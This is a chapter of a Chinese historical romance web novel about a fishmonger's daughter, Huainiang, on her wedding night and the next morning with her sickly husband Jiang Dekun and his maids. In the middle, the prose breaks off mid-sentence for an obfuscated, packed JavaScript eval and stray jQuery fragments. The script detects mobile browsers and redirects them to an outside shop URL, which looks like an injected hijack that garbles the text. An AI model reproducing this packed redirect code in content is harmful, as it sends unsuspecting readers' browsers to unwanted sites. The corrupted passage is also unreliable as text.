侍女都已退下,布置热闹的喜房内,新人对坐。
一张梨木八仙桌上,漆盘整齐摆放着一对对半劈开的葫芦和一杆刻了小字的喜秤。
淮娘从前没沾过酒,方才面对一群江家子弟轮番见礼,难免饮了一点。
此刻脑袋晕晕沉沉的,淮娘没忍住用手支着头。
一两串流苏相碰,琮琤清越的碰撞声唤醒沉思中的人。
“还好吗?我已经叫人去煮醒酒汤了。”
淮娘思绪迟缓,下意识仰头闻声望去,江德昆眼中一片清明。
也对,他的杯子里不是酒。她慢半拍意识到那只酒壶不仅仅能斟出酒液。
当第一杯热酒下肚,脸颊开始发烫时,是江德昆给她倒了一盏米汤。
那时江德昆轻轻颔首,唇角噙着笑。
“那个酒壶……是锦绣鸳鸯壶吗?”
从前卖鱼收摊,总能隔着厚重的酒楼后壁,听到窗边飘来说书人初拍惊堂木的声音。
“昨日说到李三出入江湖,被那只锦绣鸳鸯壶撂倒。今日咱们便来说说这……”
她从没听完过。
一街之隔,有闲钱的人迈进酒楼正大门时,天已经亮了许久。
早市散了,淮娘也就收摊了。
江德昆沉默一会,才意识到她问的是刚才礼毕后,与众人敬酒用的那只酒壶。
“是,你很感兴趣吗?”
淮娘摇头,“感觉没有他们说的厉害。”
“他们?”
“就是,说书的啊。”
江德昆极轻地拧了一下眉,“你……”
这时门外传来桃红的声音,“公子、少夫人,醒酒汤好了。”
“进来吧。”
他撑着桌边起身,淮娘下意识也跟着站起来。
“你要走了?”
江德昆见她站稳才松了口气,解释道,“本来想与你说些事,但你现下醉着,我明日再来吧。”
他看向桃红和端着托盘的侍女绿柳,“等喝了醒酒汤,你们服侍少夫人洗漱安寝。”
“是。”二人低头称是。
江德昆闷声咳了几声,等在门外的碧空闻声迈进一步,又想起他的命令退了出去,“公子!”
他抬手制止,直起身子,缓慢走了出去。
碧空跟在他身后,远远还能听到碧空在嘱咐小厮请太医。
桃红蹙着眉,俨然一副担心的模样。
她正打算扶着淮娘到榻上,却忽然听到怀中人清清冷冷问了一句,“他又发病了吗?”
算上下午迎亲时那次,他半天竟要病上两场。
桃红一时没反应过来,反而是绿柳端了醒酒汤走来,“少夫人酒醒啦,现在可要用醒酒汤?”
“嗯,本来就只有一点点晕,缓了缓就不晕了。”
淮娘接过汤碗一饮而尽,本想着长痛不如短痛,却不想这汤药酸甜,没有一丝苦味。
“谢谢。”
她眼睛亮了一瞬,不自觉抿了抿唇。
“江德昆,他病得很重的样子。”
“是,公子自去岁坠马,身子就留下了病根。今年春日眼瞧着要好了,偏又要操劳朝廷的事,如今愈发…”
桃红背过身去摸了泪。
江德昆及冠立府时,她便伺候在他身边,到如今也有六年了。
六年里她没挨过一顿打一次骂,就连责备也少。
桃红是亲眼瞧见他在青云路摔下来的,从朝堂上炙手可热的权臣沦为隐形,侍郎府门前也不再宝马香车堆满路。
怎么能不心疼呢?
绿柳也红了眼圈,对淮娘道,“少夫人恕罪,桃红姐姐只是一时激动。”
“没事的。”
淮娘能透过她们的真心以待,看到平日江德昆是如何对待她们的。
亲人受苦,自己也会疼的。
淮娘明白这种感觉,当年阿娘生产,在船里呜咽闷哼了一夜,她就陪着她哭了一夜。
翌日清晨,淮娘盯着房梁愣了好一会儿,终于意识到自己身处何地。
宿在酒楼的第一晚,耳畔没有涛涛水声,醒来时也没有鸟儿清啼,她也是缓了好久,才想起自己已经入了京,不在船上了。
简单挽了发,淮娘推开门。
院内侍女穿梭各个屋子,安静的忙碌着。
推门声突兀响起,众人似乎也没想过她起的这么早,动作有一瞬间的停顿。
而后,她们低眉屈膝行礼,“少夫人。”
淮娘很难去形容面对这一幕的感受,只知道手臂慢慢爬上不适,她猛地打了个寒颤。
“都起来。”
“是。”
人群随之散开,只留下她昨日才认识的桃红绿柳。
“少夫人,奴婢去取您的衣裳来。”
绿柳担心浣衣房那边还没熨好衣物,自然没能注意淮娘此刻略显苍白的面容。
“嗯……多谢你。”
绿柳领命离开。
“少夫人,奴婢扶您回房梳洗吧。”
桃红迈上台阶的那刻,淮娘没忍住后退一步。
“少夫人?”桃红疑惑抬眼,却在看清她现在脸色的那刻瞬间慌乱,“您身子不适吗?燕儿,快去请——”
“我没事,不用喊人过来。”淮娘按住桃红的手臂,轻轻摇头,“我们进去吧。”
闻声赶来的侍女有些茫然,求助似地看向桃红,后者略显迟疑,“去打盆水来。”
语毕,桃红便跟着淮娘进屋。
淮娘看着桃红给自己倒的茶水,想说的话在舌尖绕了几圈,最终没有说出口。
她怕自己多事,可又确实不适应这种一板一眼的规矩,觉得多余妨事。
反倒是桃红,一边用燕儿端来的温水打湿面巾,递给淮娘,一边轻声询问淮娘,“您有什么吩咐吗,少夫人?”
淮娘净了面的脸上颇为犹豫,“桃红,这些礼数可以免了吗?”
联想方才的事,桃红好像明白了她的意思,“您是指见面问安?”
“当然可以。您是礼园最大的主子,您的吩咐,奴婢们岂有不听从之理。”
“奴婢一会就吩咐下去。”桃红说着,不知想到什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347430|199538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,正色道,“您是主子,奴婢们做事若有让您不适的地方,您提出来奴婢们改就是了。您要是忍着,便是奴婢们的罪过了。”
淮娘张了张嘴,觉得她的话哪里有问题,可又说不清楚,“你……”
她没了声。
“少夫人,您想说什么?”
“没事。”
洗漱完,燕儿便端着铜盆退下,迎面见绿柳托着衣服走来,“绿柳姐姐好。”
绿柳嗯了声,守在门口的两个侍女撩开帘子放她进去。
走进外间,便见桃红一脸严肃接过衣服,“你给院里的人都说一声,少夫人不喜多礼。”
绿柳下意识道,“可是这是规矩。”
“在礼园,少夫人的意思就是规矩。”桃红压低声,“你忘了公子怎么吩咐我们的了?”
提起江德昆,绿柳收敛了不赞同,“是,我这就去说。”
交代完绿柳,桃红绕过屏风,将衣裳挂在衣杆上,而后走到淮娘身边。
“少夫人,奴婢帮您梳头吧。”
“……好,麻烦你了。”
淮娘沉默,这样不合规矩吗?
在酒楼时,江家派来教导礼仪的嬷嬷并没有说过她挽的头发有问题。
“奴婢想少夫人不喜奢华,只是这般简朴不符合您的身份。”桃红似乎能看出她心里所想,“您妆匣里有许多公子精心准备的发饰,奴婢帮您簪上几支素净的好吗?”
一字一句都像哄一个不听话的孩子。
淮娘望着梳妆镜中披头散发的自己,昨夜也是桃红帮她卸下满头琳琅珠翠。
如今云鬓梳起,垂向一侧,看着松垮慵懒,实则牢固。
一条细长的浅紫丝带随发编入,于脑后系起双耳结,尾端飘逸。
“这是什么发型?”淮娘问。
“是倭堕髻。它还有许多变式,少夫人喜欢,奴婢以后常梳。”
桃红从妆匣取了两三支绿玉钗和一笄绒花。
绒花做的桃花与小桃果的样式,毛茸茸的,灵巧可爱。
“少夫人真真好看。”
“是你手巧。”
“谢少夫人夸奖。”桃红福了福身。
淮娘及时拦住她,“不是说好没有这些礼数吗?我只是说了一句,你就要行礼。”
“是,奴婢知错。”
淮娘眉心微拢,“你……以后不要再这样了,好吗。”
桃红愣了愣,“好,奴婢知道了。”
“少夫人,衣裳奴婢已经挂在衣杆上了。”
昨夜是绿柳陪着淮娘去的耳房,在伺候淮娘脱衣时,被淮娘红着脸推了出去。
她笑了下,“奴婢便先退下了。”
淮娘点点头,在桃红快要推出内间时,她想起来什么补充道,“我想去江德昆那,你跟绿柳带我去就好。”
好像贵族夫人小姐出行都要带随行来着。
淮娘突然想起那位教习嬷嬷说的话,“少夫人别嫌麻烦,虽说这是规矩,但带上丫鬟婆子也是为了您的名声、安全着想。”
她生怕桃红让一堆人跟着。